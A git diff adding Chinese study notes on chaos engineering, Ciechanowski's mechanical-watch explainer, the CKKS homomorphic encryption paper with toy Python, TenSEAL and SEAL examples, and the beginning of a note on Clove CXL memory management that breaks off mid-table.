+- 已有基本可观测性（metrics / tracing / 告警）
+- 团队认同「实验可能发现 bug」而不是「实验不能失败」
+
+**暂缓或缩小规模**：
+
+- 尚无自动回滚、无 on-call 覆盖的单点系统
+- 强监管场景下未经审批的生产实验
+- 连单元测试都未绿的新服务 — 先修「确定性错误」，再探索「涌现错误」
+
+## 延伸阅读
+
+- 论文原文：[arXiv:1702.05843](https://arxiv.org/abs/1702.05843)
+- 原则站：[principlesofchaos.org](https://principlesofchaos.org/)
+- 自动化平台：[A Platform for Automating Chaos Experiments (ChAP)](https://arxiv.org/abs/1702.05849)
+- 开源 Chaos Monkey：[github.com/Netflix/chaosmonkey](https://github.com/Netflix/chaosmonkey)
+- 相关笔记：[[firecracker-microvm-2020]]（隔离与密度）、[[kubernetes]]（编排层承载混沌实验）、[[spanner]]（多副本一致性背景）
+
+## 一句话总结
+
+**混沌工程把可靠性从「祈祷生产别出事」变成「在生产中用真实流量做可证伪实验」；Netflix 用 Chaos Monkey 教会工程师「实例随时会死」，再用稳态度量与自动化把这门手艺变成持续学科。**
diff --git a/src/content/docs/papers/ciechanowski-mechanical-watch.md b/src/content/docs/papers/ciechanowski-mechanical-watch.md
new file mode 100644
index 000000000..e01ffba65
--- /dev/null
+++ b/src/content/docs/papers/ciechanowski-mechanical-watch.md
@@ -0,0 +1,269 @@
+---
+title: 机械表——从零理解精密齿轮系统
+来源: https://ciechanow.ski/mechanical-watch/
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# 机械表：不需要电池的时间机器
+
+## 一、开篇：一根弹簧如何驱动一块表？
+
+想象你有一根橡皮筋。把它绕紧，松开手，它会快速弹回去——这就是能量释放。机械表的原理跟这个很像，只不过它用的不是橡皮筋，而是一根精心设计的金属螺旋弹簧，整个系统由几百个比米粒还小的零件组成。
+
+Bartosz Ciechanowski 的这篇交互式文章用动画一步步展示了机械表内部是如何运作的。全文没有一段代码，但整个机芯就是一个巨大的"程序"——每个齿轮是一个函数调用，每次擒纵轮的"滴答"是一次时钟中断。
+
+## 二、七大核心组件
+
+机械表的计时系统可以抽象为一条直线上的七个主要元素：
+
+1. **发条（Mainspring）** — 能量来源
+2. ** barrel（发条盒）** — 容纳发条的外壳
+3. **齿轮组（Gear Train）** — 减速增转
+4. **擒纵轮（Escape Wheel）** — 能量阀门
+5. **叉瓦（Pallet Fork）** — 开关控制器
+6. **摆轮（Balance Wheel）** — 振荡器/时钟
+7. **摆轮游丝（Balance Spring）** — 弹性恢复力
+
+下面我们从第一个开始，逐一拆解。
+
+## 三、能量来源：发条与发条盒
+
+### 日常类比
+
+把发条想象成"弹簧版的水库"。水库存水，发条存能。你拧表冠就像在往水库里注水——把发条绕紧，储存势能。
+
+### 关键概念
+
+- **发条（Mainspring）**：一根 S 形螺旋扭转弹簧。放松状态下呈 S 形，绕紧后变成紧密的螺旋。
+- **发条盒（Barrel）**：一个封闭的金属圆筒，把发条关在里面。
+- **心轴（Arbor）**：插在发条中心的轴，用来绕紧发条。
+
+### 伪代码理解
+
+```
+// 发条盒的简化模型
+struct Barrel {
+    Mainspring spring;    // 内部的螺旋弹簧
+    int teeth;            // 外圈的齿数（用于驱动下一个齿轮）
+}
+
+// 上链操作：顺时针旋转心轴
+function wind(barrel: Barrel):
+    barrel.spring.twist(direction=CLOCKWISE)
+    // 弹簧被绕紧，势能增加
+    // 最大绕紧约 7 圈
+
+// 释放能量：发条盒转动，驱动齿轮组
+function unwind(barrel: Barrel) -> torque:
+    return barrel.spring.release()
+    // 弹簧试图恢复原状 → 带动发条盒旋转
+```
+
+发条绕紧后，如果什么都不做，它会在一两秒内全部弹开——太快了，没法用来计时。我们需要一个"限速器"。
+
+## 四、齿轮组：把快转变成慢转
+
+### 日常类比
+
+自行车有变速齿轮：大齿轮带小齿轮，小齿轮转得更快。机械表反过来用——用小齿轮带动大齿轮来减速。但手表空间有限，不能放一个巨大齿轮，所以用了一串齿轮逐级传递，称为"轮系"（Gear Train）。
+
+### 关键概念
+
+- **主动轮（Driving Gear）**：带动别人的齿轮
+- **从动轮（Driven Gear）**：被别人带动的齿轮
+- **小齿轮（Pinion）**：每个轴上的小齿轮，驱动下一个轴上的大齿轮
+- ** going train（走时轮系）**：从发条盒到秒针的齿轮链条
+
+### 数学推导
+
+发条盒绕紧后大约转 7 圈。我们希望秒针转 2400 圈（40 小时 × 60 分钟）。
+
+```
+总传动比 = 2400 / 7 ≈ 343 : 1
+```
+
+如果只用一对齿轮实现 343:1，大齿轮要有 343 个小齿轮的齿——完全不现实。所以用多级齿轮：
+
+```
+// 四级齿轮组的传动比计算
+// 假设每级的传动比为 5:1
+总传动比 = 5 × 5 × 5 × 5 = 625 : 1
+// 实际设计中每级传动比不同，但思路一致
+
+// 每一级的关系：
+// 发条盒（第1轮）→ 第2轮 → 第3轮 → 第4轮（秒针）
+// 每级：大齿轮带动小齿轮，小齿轮同轴连着下一级大齿轮
+```
+
+### 伪代码理解
+
+```
+// 齿轮对的简化模型
+struct GearPair {
+    int driving_teeth;    // 主动轮齿数
+    int driven_teeth;     // 从动轮齿数
+}
+
+// 计算传动比
+function gear_ratio(pair: GearPair) -> float:
+    return pair.driving_teeth / pair.driven_teeth
+
+// 多级齿轮组的总传动比
+function total_reduction(pairs: list<GearPair>) -> float:
+    ratio = 1.0
+    for pair in pairs:
+        ratio *= gear_ratio(pair)
+    return ratio
+
+// 示例：四级轮系
+pairs = [
+    GearPair(driving_teeth=72, driven_teeth=12),  // 5:1
+    GearPair(driving_teeth=64, driven_teeth=8),   // 8:1
+    GearPair(driving_teeth=60, driven_teeth=10),  // 6:1
+    GearPair(driving_teeth=60, driven_teeth=10),  // 6:1
+]
+// 总传动比 = 5 × 8 × 6 × 6 = 1440 : 1
+// 发条盒转 7 圈 → 秒针转约 10080 圈（实际设计更精细）
+```
+
+齿轮组解决了"转多少圈"的问题，但还没解决"以什么速度转"的问题。秒针可能一下子转几百圈——我们需要一个精确控制的"闸门"。
+
+## 五、擒纵机构：时间的守门人
+
+这是机械表最精妙的部分。
+
+### 日常类比
+
+想象你在推一个秋千。你不可能一直推——推一下，放手，让它自己荡回来，再推一下。擒纵机构就是那个"推一下、放手一下"的手。每一次"推"，齿轮前进一个齿；每一次"放手"，时间就流逝了一个固定间隔。
+
+### 关键概念
+
+- **擒纵轮（Escape Wheel）**：齿形特殊的齿轮，普通齿轮的齿是均匀的，擒纵轮的齿顶部有凹槽
+- **叉瓦（Pallet Fork）**：一个可以左右摆动的杠杆，两端各有一颗人造红宝石（jewel）
+- **红宝石（Jewel）**：合成红宝石，硬度高、摩擦系数低，用作轴承减少磨损
+
+### 工作流程
+
+```
+// 擒纵机构的循环
+loop:
+    1. 摆轮摆动 → 宝石撞击叉瓦
+    2. 叉瓦移位 → 擒纵轮解锁
+    3. 擒纵轮在发条驱动下推动叉瓦
+    4. 叉瓦通过宝石给摆轮一个推力（补充能量）
+    5. 擒纵轮再次锁死
+    6. 摆轮继续摆动到另一侧 → 回到步骤 1
+```
+
+这个循环的频率决定了走时的精度。这块表的摆轮每秒来回摆动 4 次（8 beats），即每小时 28,800 次。
+
+## 六、摆轮与游丝：机械表的"心跳"
+
+### 日常类比
+
+摆轮+游丝的组合就像一个微型秋千。游丝是弹簧，提供回复力；摆轮是秋千座板，提供质量。两者构成一个简谐振荡器——这就是机械表的"时钟"。
+
+### 关键概念
+
+- **摆轮（Balance Wheel）**：带质量的轮子，来回摆动
+- **摆轮游丝（Balance Spring / Hairspring）**：极细的螺旋弹簧，控制摆动频率
+- **快慢针（Regulator）**：调节游丝有效长度，微调走时快慢
+- **Nivarox 合金**：温度变化时刚度几乎不变的特种合金
+
+### 物理公式
+
+简谐振荡器的周期公式：
+
+```
+T = 2π × √(I / κ)
+```
+
+其中：
+- `T` = 摆动周期
+- `I` = 转动惯量（质量分布离轴越远，I 越大）
+- `κ` = 游丝的扭转刚度
+
+### 伪代码理解
+
+```
+// 摆轮振荡器的简化模型
+struct BalanceWheel {
+    float moment_of_inertia;    // 转动惯量 I
+    float spring_stiffness;     // 游丝刚度 κ
+    float angle;                // 当前角度
+    float angular_velocity;     // 角速度
+}
+
+// 计算摆动周期
+function oscillation_period(bw: BalanceWheel) -> float:
+    T = 2 * PI * sqrt(bw.moment_of_inertia / bw.spring_stiffness)
+    return T
+
+// 每半周期的时间（一次"滴"或"嗒"）
+function half_beat(bw: BalanceWheel) -> float:
+    return oscillation_period(bw) / 2
+
+// 示例：28,800 beats/hour 的表
+// 每秒 8 beats → 每 beat 125ms → 半周期 125ms → 全周期 250ms
+// T = 0.25s = 2π × √(I / κ)
+// 设计者通过调整 I（配重螺丝位置）和 κ（游丝材质/长度）来达到这个值
+```
+
+## 七、关键机制速览
+
+### 7.1 单向棘轮（Click Mechanism）
+
+防止发条自己松掉。类似自行车飞轮的"咔哒"声——只能朝一个方向用力。
+
+```
+// 棘轮机构
+function wind_with_crown():
+    crown_wheel.turn(CLOCKWISE)
+    click.swing_aside()          //  clicks 被推开
+    ratchet_wheel.turn()         // 发条被绕紧
+    click.snap_back()            // 咔哒一声
+
+function prevent_unwind():
+    // 逆时针方向时，click 卡住 crown_wheel
+    // 发条无法反向松脱
+```
+
+### 7.2 无钥系（Keyless Works）
+
+通过拨动表冠的不同档位，实现三种功能：
+
+| 档位 | 动作 | 效果 |
+|------|------|------|
+| 推入到底 | 旋转表冠 | 上链 |
+| 拉到一半 | 旋转表冠 | 调日期 |
+| 拉到最外 | 旋转表冠 | 调时间 |
+
+### 7.3 自动上链
+
+利用佩戴者手臂摆动时的重力，让一个半圆形重锤（weight）来回摆动，再通过双向棘轮机构将正反两个方向的运动都转化为同一个方向的卷簧力。
+
+## 八、核心思想总结
+
+| 模块 | 作用 | 类比 |
+|------|------|------|
+| 发条+发条盒 | 储能 | 弹簧版水库 |
+| 齿轮组 | 减速增转 | 自行车变速 |
+| 擒纵轮+叉瓦 | 能量阀门 | 推秋千的手 |
+| 摆轮+游丝 | 振荡器/时钟 | 微型秋千 |
+| 棘轮机构 | 单向锁定 | 自行车飞轮 |
+| 无钥系 | 多功能切换 | 多档开关 |
+| 自动上链 | 动能回收 | 汽车再生制动 |
+
+机械表的本质：**用一个周期性振荡器（摆轮游丝）来控制能量的释放速率**。发条提供能量，齿轮组传递和转换转速，擒纵机构按摆轮的节拍"放行"能量——每一次放行，秒针前进一格。整个系统就像一个没有代码的程序，纯靠几何形状和物理定律运行。
+
+## 九、延伸思考
+
+Ciechanowski 的系列文章有一个共同特点：**把复杂系统拆成最小可理解的单元，然后用交互动画展示它们之间的关系**。这种学习方式对零基础的我们特别有效——不是先学一堆术语，而是在看到零件如何运动的瞬间就理解了它的意义。
+
+建议后续阅读：
+- 同一作者的 [齿轮详解](https://ciechanow.ski/gears/)——更深入地理解齿形设计
+- George Daniels《制表术》（Watchmaking）——从设计角度理解机芯
+- Wristwatch Revival YouTube 频道——看真实机芯的拆解与维修
diff --git a/src/content/docs/papers/ckks-homomorphic-2017.md b/src/content/docs/papers/ckks-homomorphic-2017.md
new file mode 100644
index 000000000..f5342cd54
--- /dev/null
+++ b/src/content/docs/papers/ckks-homomorphic-2017.md
@@ -0,0 +1,341 @@
+---
+title: CKKS 同态加密 — 在加密数据上做近似浮点运算
+来源: https://eprint.iacr.org/2016/421.pdf
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 高级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇 2017 年发表于 ASIACRYPT 的论文 **Homomorphic Encryption for Arithmetic of Approximate Numbers**（作者 Jung Hee Cheon、Andrey Kim、Miran Kim、Yongsoo Song）提出了 **CKKS 方案**——今天工业界最常用的「近似全同态加密」之一。开源实现 HEAAN 库（CryptoLab）的名字直接来自论文标题里的 **HE**（Homomorphic Encryption）+ **AAN**（Arithmetic of Approximate Numbers）。
+
+日常类比：
+
+> 想象你把一叠**带小数点的测量数据**（体温、血压、模型权重）锁进一个**透明保险箱**里。保险箱外的人看不见数字，但可以在箱子上拧旋钮：拧一次「加」，箱内所有数同时加同一个值；拧一次「乘」，所有数同时乘同一个系数——全程不用开锁。拧多了，数字会有一点**磨损**（噪声和舍入误差），就像老式机械计算器最后一位会飘。CKKS 的天才之处在于：**不把磨损当敌人，而是把它当成近似算术里本来就会有的误差**，用「Rescaling（重缩放）」定期擦掉最不重要的尾数位，让磨损可控。
+
+这和 [[brakerski-bgv-2012]]、BFV 的精确整数路线根本不同：后者要求明文是**精确整数**，解密结构是 `m + t·e` 或 `q·I + (q/t)·m + e`，乘法会把「噪声」和「有效数字」搅在一起，做浮点近似非常别扭。CKKS 把解密结构改成：
+
+\[
+\langle c, sk \rangle = m + e \pmod q
+\]
+
+噪声 `e` 直接加在消息 `m` 旁边——如果 `e` 相对 `m` 足够小，就把 `m + e` 整体当作「带误差的近似值」继续算，和浮点运算的「有效位 + 尾数误差」哲学一致。
+
+## 零基础前置：同态加密三句话
+
+如果你从未接触过同态加密（Homomorphic Encryption，HE），先记住三句话：
+
+1. **加密**：明文 `m` 变成密文 `c`，外人看不出 `m`。
+2. **同态**：在密文上算 `f(c)`，解密后得到 `f(m)` 的近似——**不用先解密**。
+3. **CKKS 特化**：`m` 是**实数/复数向量**，`f` 是加法和乘法（以及由它们拼出的多项式、Taylor 级数等），结果允许有**可控误差**。
+
+论文信息速览：
+
+| 项目 | 内容 |
+|------|------|
+| 预印本 | [eprint.iacr.org/2016/421](https://eprint.iacr.org/2016/421.pdf) |
+| 会议 | ASIACRYPT 2017 |
+| 作者 | Cheon, Kim, Kim, Song（简称 **CKKS**） |
+| 实现 | HEAAN、Microsoft SEAL、OpenFHE、TenSEAL |
+| 安全假设 | Ring-LWE（环上学习与错误） |
+
+## 为什么重要
+
+不理解 CKKS，下面这些事都讲不清：
+
+- 为什么 **加密推理**（在云端算神经网络而不暴露输入）默认选 CKKS，而不是 RSA 或 AES
+- 为什么 Microsoft SEAL、OpenFHE、TenSEAL 文档里到处是 `scale`、`coeff_modulus`、`rescale`——它们不是随便起的 API 名字，而是论文里的核心操作
+- 为什么隐私机器学习论文里常说「精度损失约 log(depth) 比特」——这是论文 Section 1 证明的**近似最优性**
+- 为什么 NIST 后量子标准化里，**精确整数 HE**（BFV）和 **近似实数 HE**（CKKS）是两条平行产品线，不能互相替代
+
+论文在 i5-2.9GHz 上实测：14 位精度的**同态乘法逆**摊销约 0.11 ms/slot；用七阶 Taylor 级数同态算 **logistic 函数**约 0.13 ms/slot——比当时没有 batching 的实现快两个数量级。这让「在加密数据上跑统计回归 / 神经网络一层」从理论可行变成工程可测。
+
+## 论文要解决的核心矛盾
+
+Gentry 的全同态加密奠基工作证明 HE **存在**，但早期方案对「近似实数」极不友好：
+
+| 路线 | 解密形态 | 近似算术的麻烦 |
+|------|----------|----------------|
+| BGV 型 | `m + t·e` | 乘法后噪声乘在明文模 `t` 上，**有效位被噪声淹没** |
+| BFV/FV 型 | `q·I + (q/t)·m + e` | 乘法产生 `t·I₁·I₂` 项，**MSB 被破坏** |
+| 比特编码 | 每位一个密文 | 深度 `d` 需要 `Ω(η·2^d)` 次运算或昂贵 bootstrapping |
+
+CKKS 的目标：**在 RLWE 安全假设下，对复数/实数向量做 SIMD 同态加乘，模数比特数只随电路深度线性增长，精度损失最多比明文浮点多 1 bit**。
+
+## 核心概念
+
+### 1. 明文空间：特征零的 cyclotomic 环
+
+明文不是 `Z_t` 上的多项式，而是 **R = Z[X]/(Φ_M(X))** 里系数有界的整系数多项式（特征零）。通过 **复数典范嵌入（complex canonical embedding）** σ，把多项式映到 `C^{φ(M)/2}` 的向量——这是一个**等距**环同态，小误差不会在编码时放大。
+
+编码流水线（论文 Section 1）：
+
+```
+z ∈ C^{φ(M)/2}  →  π⁻¹  →  H  →  round  →  σ(R)  →  σ⁻¹  →  m(X) ∈ R
+```
+
+`π` 是到子群 T 的投影，`round` 把复数格点化。解码是逆过程。这样 **N/2 个复数 slot** 打进一个密文，同态加乘变成 slot 上的逐元素运算（SIMD）。
+
+### 2. 加密与解密
+
+- 环：`R_q = Z_q[X]/(X^n+1)`，`n` 是 2 的幂
+- 私钥 `s` 是小系数多项式
+- 密文 `c = (c₀, c₁) ∈ R_q²`，满足 `c₀ + c₁·s ≈ m + e (mod q)`
+- **scale（缩放因子 Δ）**：加密前把消息乘 `Δ`（如 `2^40`），让噪声相对有效位更小
+
+同态加法：密文分量相加，噪声线性增加。
+
+同态乘法：张量积 + **relinearization**（用公开密钥把 `s²` 项压回 `s`），噪声约平方增长——和 BGV 类似，但消息也在变大。
+
+### 3. Rescaling（重缩放）——CKKS 的灵魂
+
+乘法后消息幅度和噪声都放大约 `Δ` 倍。Rescaling 做：
+
+```
+输入：c 加密 m，⟨c, sk⟩ = m + e (mod q)
+输出：c' = round(p⁻¹ · c) (mod q/p)，加密 m/p，噪声约 e/p
+```
+
+`p` 通常取最后一个模数因子（与 `Δ` 对齐）。效果等价于浮点运算里**丢掉若干 LSB、缩小尾数**——模数链从 `q₀ > q₁ > … > q_L` 逐级下降，**比特数随深度线性增长**，而不是指数爆炸。
+
+论文 Figure 2 对比：BGV/FV 乘法破坏 MSB；CKKS 乘法 + Rescale 保留 MSB、裁掉 LSB。
+
+### 4. 精度定理（直观版）
+
+对 `η` 位精度的 `d` 个数做深度 `d` 的乘法电路：
+
+- 明文浮点：结果约 `η - log d` 位有效精度
+- CKKS 同态：结果约 `η - log d - 1` 位——**最多多损失 1 bit**
+
+所需最大模数约 `O(η log d)` 比特，远小于比特编码路线的 `Ω(η·2^d)`。
+
+### 5. 超越函数
+
+Rescaling 让模数可控后，可用 Taylor 级数**同态**算 `exp`、`log`、三角函数、**乘法逆**（论文给出专门优化算法）。实测 logistic 函数（七阶 Taylor）适合疾病预测等统计场景。
+
+### 6. 安全假设
+
+基于 **Ring-LWE**：给定 `(a, a·s + e)` 无法区分 `e` 是随机还是小噪声。参数由环维数 `n`、模数 `q`、噪声分布决定安全级别（论文实现用 80-bit 安全参数做 benchmark）。
+
+## 与 BFV/BGV 怎么选
+
+| 维度 | CKKS | BFV / BGV |
+|------|------|-----------|
+| 明文 | 近似实数/复数 | 精确整数 |
+| 解密 | `m + e` | `m + t·e` 或带 `q/t` 缩放 |
+| 乘法后 | Rescale 降精度 | Modulus switching / 模数链 |
+| 典型场景 | 神经网络推理、统计、浮点 ML | 整数电路、比较、精确计数 |
+| 误用后果 | 把工资总额当浮点近似 → 分钱级误差 | 把模型权重塞 BFV → 参数爆炸、极慢 |
+
+## 实践案例
+
+### 案例 1：纯 Python 玩具模型——理解「噪声 + Rescale」
+
+下面**不是**真正的 CKKS 实现，而是用浮点数模拟论文的核心直觉：解密得到 `m + e`，乘法放大误差，Rescale 像除以 scale 并四舍五入。
+
+```python
+import math
+
+def encrypt_approx(m: float, scale: float, noise: float) -> tuple[float, float]:
+    """模拟 Enc(m): 存 (scaled_message, noise)，解密时 m + e/scale"""
+    return m * scale, noise
+
+def decrypt_approx(scaled_m: float, noise: float, scale: float) -> float:
+    return scaled_m / scale + noise / scale
+
+def homomorphic_add(a, b, scale):
+    return (a[0] + b[0], a[1] + b[1])
+
+def homomorphic_mul(a, b, scale):
+    # (m1*scale + e1)(m2*scale + e2) ≈ m1*m2*scale^2 + cross_terms
+    m1, e1 = a[0] / scale, a[1]
+    m2, e2 = b[0] / scale, b[1]
+    prod_m = m1 * m2
+    prod_noise = m1 * e2 + m2 * e1 + (e1 * e2) / scale  # 交叉项
+    return prod_m * scale * scale, prod_noise * scale
+
+def rescale(ct, p: float):
+    """除以 p 并四舍五入到整数格点，模拟 rescale_to_next"""
+    scaled_m = round(ct[0] / p)
+    scaled_noise = round(ct[1] / p)
+    return scaled_m, scaled_noise
+
+scale, p = 1024.0, 1024.0
+x, y = 3.14, 2.71
+
+cx = encrypt_approx(x, scale, noise=0.5)
+cy = encrypt_approx(y, scale, noise=0.3)
+
+# 同态乘法 + rescale
+cmul = homomorphic_mul(cx, cy, scale)
+cmul = rescale(cmul, p)
+result = decrypt_approx(cmul[0], cmul[1], scale)
+
+print(f"明文: {x} * {y} = {x * y:.6f}")
+print(f"同态近似: {result:.6f}")
+print(f"相对误差: {abs(result - x * y) / (x * y):.2e}")
+```
+
+运行后你会看到：误差在 `1/scale` 量级，和论文「噪声跟在有效数字后面」的图景一致。真正的 CKKS 在多项式环上操作，但**Rescale 的语义**就是这里演示的「缩小幅度 + 舍入」。
+
+### 案例 2：TenSEAL — 加密向量上的多项式求值
+
+TenSEAL 封装 Microsoft SEAL，最适合快速体验 CKKS 的「加密浮点向量 + SIMD」。
+
+```python
+import tenseal as ts
+
+# poly_modulus_degree=8192 → 4096 个 slot；coeff_mod 链长度决定乘法深度
+context = ts.context(
+    ts.SCHEME_TYPE.CKKS,
+    poly_modulus_degree=8192,
+    coeff_mod_bit_sizes=[60, 40, 40, 40, 60],  # 每层乘法消耗一档模数
+)
+context.generate_galois_keys()   # 旋转 slot 时需要
+context.global_scale = 2**40     # Δ，与 rescale 对齐
+
+plain = [1.5, 2.5, 3.5, 4.5]
+enc = ts.ckks_vector(context, plain)
+
+# 同态算 f(x) = x^2 + x（近似）
+result = enc * enc + enc
+decoded = result.decrypt()
+
+for i, (a, b) in enumerate(zip(plain, decoded)):
+    expected = a * a + a
+    print(f"slot {i}: plain={a}, hom={b:.6f}, expected={expected:.6f}")
+```
+
+**读代码时注意**：
+
+- `coeff_mod_bit_sizes` 里有几个「中间档」，大致就能做几次乘法（每次 `rescale` 掉一档）
+- `global_scale` 设太大 → 噪声相对消息变小，但模数链要更长；设太小 → 精度不够
+- 解密结果和明文差在 `1/Δ` 量级是正常的，不是实现 bug
+
+### 案例 3：Microsoft SEAL（C++）— 手动跟踪 scale 与 rescale
+
+生产环境更常用 SEAL 原生 API；理解 `scale` 与 `rescale_to_next` 是读 CKKS 源码的钥匙。
+
+```cpp
+#include "seal/seal.h"
+using namespace seal;
+
+size_t poly_modulus_degree = 8192;
+EncryptionParameters parms(scheme_type::ckks);
+parms.set_poly_modulus_degree(poly_modulus_degree);
+parms.set_coeff_modulus(CoeffModulus::Create(
+    poly_modulus_degree, {60, 40, 40, 60}));
+
+SEALContext context(parms);
+KeyGenerator keygen(context);
+auto secret_key = keygen.secret_key();
+PublicKey public_key;
+keygen.create_public_key(public_key);
+RelinKeys relin_keys;
+keygen.create_relin_keys(relin_keys);
+Encryptor encryptor(context, public_key);
+Evaluator evaluator(context);
+Decryptor decryptor(context, secret_key);
+
+CKKSEncoder encoder(context);
+double scale = pow(2.0, 40);
+
+std::vector<double> input{3.0, 4.0};
+Plaintext plain;
+encoder.encode(input, scale, plain);
+
+Ciphertext encrypted;
+encryptor.encrypt(plain, encrypted);
+
+// 乘法：scale 变为 scale^2，必须 rescale
+evaluator.multiply_inplace(encrypted, encrypted);
+evaluator.relinearize_inplace(encrypted, relin_keys);
+evaluator.rescale_to_next_inplace(encrypted);
+
+Plaintext plain_result;
+decryptor.decrypt(encrypted, plain_result);
+std::vector<double> output;
+encoder.decode(plain_result, output);
+
+// output[0] ≈ 9.0, output[1] ≈ 16.0
+```
+
+**与论文对应关系**：
+
+- `encode(..., scale)` = 消息乘 `Δ` 再加密
+- `multiply` + `relinearize` = 同态乘 + 密钥切换
+- `rescale_to_next` = 论文的 `p⁻¹·c (mod q/p)`，scale 也除以 `p`
+
+### 案例 4：同态 logistic（论文动机场景）
+
+论文用 batching 同态算 logistic 的七阶 Taylor 近似，用于**加密基因/医疗数据的疾病风险评分**。工程上可拆成：
+
+1. 用案例 2 加密特征向量
+2. 预计算 Taylor 系数为明文，同态累加 `Σ cᵢ · xⁱ`
+3. 每乘一次 `x` 做一次 `rescale`，提前规划模数链深度
+
+若电路深度超过模数链，需要 **bootstrapping**（论文原版未强调；后续工作把 CKKS bootstrap 做到实用，OpenFHE 支持）。
+
+## 踩过的坑
+
+1. **把 CKKS 当精确整数加密**：账本、投票计数请用 BFV；CKKS 解密是「近似」，误差累积可审计但不可消除。
+2. **忘记 rescale**：乘法后不调 `rescale_to_next`，scale 爆炸，下一轮乘法或解密直接错。
+3. **模数链深度不够**：规划电路时数清楚「几次乘法」，每档 `coeff_modulus` 通常支撑一次乘法+rescale。
+4. **slot 数误算**：`poly_modulus_degree = N` 时 slot 数是 **N/2**，不是 N。
+5. **混淆 CKKS 与 HEAAN 商标**：HEAAN 是韩国 CryptoLab 的实现名；算法统称 CKKS；Microsoft SEAL / OpenFHE 实现的是同一方案族，参数不互通。
+6. **忽略 bootstrapping 成本**：无限深度电路需要 bootstrap，单次仍可能秒级——和论文里「浅电路 + rescaling」的毫秒级不是一回事。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 云端推理（加密输入 + 明文或加密权重）
+- 联邦学习里的安全聚合（近似梯度）
+- 统计分析（均值、方差、回归系数）——容忍 `10⁻⁶` 级误差
+- 学习 HE 栈：CKKS API 是工业文档最丰富的入口
+
+**不适用**：
+
+- 精确金融记账、加密货币余额
+- 需要密文比较 / 分支（CKKS 不原生支持，要配合其他原语）
+- 超低延迟在线服务（毫秒级单 op 可接受，但大模型全链路仍慢几个数量级）
+- 不做参数审计就上生产（80-bit 论文 benchmark ≠ 128-bit 产品要求）
+
+## 历史小故事
+
+- 论文 **eprint 2016/421** 先挂 IACR ePrint，HEAAN 库 2016 年 5 月已在 GitHub 开源——实现领先正式发表。
+- 名称 **CKKS** 来自四位作者姓氏 Cheon-Kim-Kim-Song；第二、三位 Kim 是不同研究者。
+- ASIACRYPT 2017 发表后，CKKS 迅速成为 **隐私机器学习** 默认 HE 方案；BFV 仍在整数场景活跃。
+- 论文把加密噪声重新定义为「误差的一部分」，影响后续 **近似 FHE** 整条线（含 bootstrap 综述里对 CKKS 的专门章节）。
+
+## 学到什么
+
+- **同态加密不止一条路线**：精确整数（BFV/BGV）与近似实数（CKKS）解决不同问题，选型先于调参。
+- **Rescaling 是 CKKS 相对 modulus switching 的概念创新**：不是简单换模数，而是**对齐浮点舍入语义**。
+- **SIMD batching + 典范嵌入** 让一次密文算一整条向量，论文里 logistic 加速主要来自这里。
+- **安全与精度一起规划**：模数链、scale、噪声预算要在加密前画电路深度表。
+- 读实现时盯住三个词：`scale`、`relinearize`、`rescale`——它们几乎就是论文 Algorithm 1–3 的代码化。
+
+## 延伸阅读
+
+- 原文 PDF：[eprint.iacr.org/2016/421](https://eprint.iacr.org/2016/421.pdf)
+- HEAAN 原始库：`github.com/snucrypto/HEAAN`
+- Microsoft SEAL 文档：CKKS 编码与 rescaling 章节
+- [[brakerski-bgv-2012]] —— 模数切换与层级 FHE
+- [[ducas-dilithium-2018]] —— 同站后量子密码笔记（格密码另一应用：签名）
+- [[rsa-1978]] —— 公钥密码范式起源
+
+## 关联
+
+- [[brakerski-bgv-2012]] —— BGV：精确整数 + 模数切换
+- [[ducas-dilithium-2018]] —— 格密码签名
+- [[rsa-1978]] —— 公钥密码范式起源
+- [[signal-double-ratchet-2016]] —— 端到端加密另一路线（对称 + DH，非同态）
+
+## 维护备注
+
+- `来源` 字段指向 eprint PDF；正式会议版本见 ASIACRYPT 2017。
+- 分类由 `node scripts/classify-notes.mjs --apply --area=papers` 维护。
diff --git a/src/content/docs/papers/clove-object-level-cxl-memory-management-in-managed-runtimes-arxiv-2605-20370.md b/src/content/docs/papers/clove-object-level-cxl-memory-management-in-managed-runtimes-arxiv-2605-20370.md
new file mode 100644
index 000000000..4d21fed36
--- /dev/null
+++ b/src/content/docs/papers/clove-object-level-cxl-memory-management-in-managed-runtimes-arxiv-2605-20370.md
@@ -0,0 +1,335 @@
+---
+title: Clove — Object-Level CXL Memory Management in Managed Runtimes
+来源: https://arxiv.org/abs/2605.20370
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# Clove：在托管运行时中进行对象级 CXL 内存管理
+
+## 零、写在前面：这篇笔记怎么读
+
+这篇笔记面向零基础读者。我们不会一上来就扔术语，而是从一个日常类比开始，再逐步深入到技术细节。每个新概念出现时，我都会问自己一个问题并马上回答，让你不需要猜。
+
+---
+
+## 一、日常类比：书架与快递仓库
+
+想象你经营一家快递公司，仓库里有两个区域：
+
+- **快速区**（靠近门口，拿货快，但面积小）
+- **慢速区**（远离门口，拿货慢，但空间大）
+
+你的仓库用"货架格"（4KB 页面）来划分区域。每个货架格上可能放着几件不同的包裹（对象）。问题在于：
+
+> 热门包裹和冷门包裹经常混放在同一个货架格里。
+
+如果你想把热门包裹放到快速区，你必须把**整个货架格**搬过去。结果就是：快速区被很多冷门包裹占满了，热门包裹反而挤在慢速区。
+
+**Clove 的想法是：** 不要按"货架格"管理，而是按"包裹"来管理。热门的小包裹单独放进快速区，冷门的大包裹留在慢速区。这样快速区的利用率大幅提高。
+
+在计算机里：
+- 快速区 = 本地 DDR 内存（快但贵且小）
+- 慢速区 = CXL 扩展内存（慢一些但便宜且大）
+- 包裹 = 程序中的对象（Java object）
+- 货架格 = 操作系统页面（4KB 或 2MB）
+
+---
+
+## 二、背景知识：CXL 是什么？
+
+**CXL**（Compute Express Link）是一种芯片间互联技术，允许 CPU 连接额外的内存设备。它让服务器可以"插内存条"来扩展容量，同时保持和主内存一样的访问方式（普通的 load/store 指令）。
+
+CXL 内存比本地内存慢大约 2-4 倍，这比过去的"网络附加存储"快得多。但也正因为 CXL 很快，**管理开销**很容易抵消它带来的好处。
+
+---
+
+## 三、核心概念
+
+### 3.1 页面内热度偏斜（Intrapage Hotness Skew）
+
+这是 Clove 要解决的核心问题。
+
+想象一个 4KB 的页面，里面存放了 10 个对象：
+
+| 对象 | 大小 | 访问频率 |
+|------|------|----------|
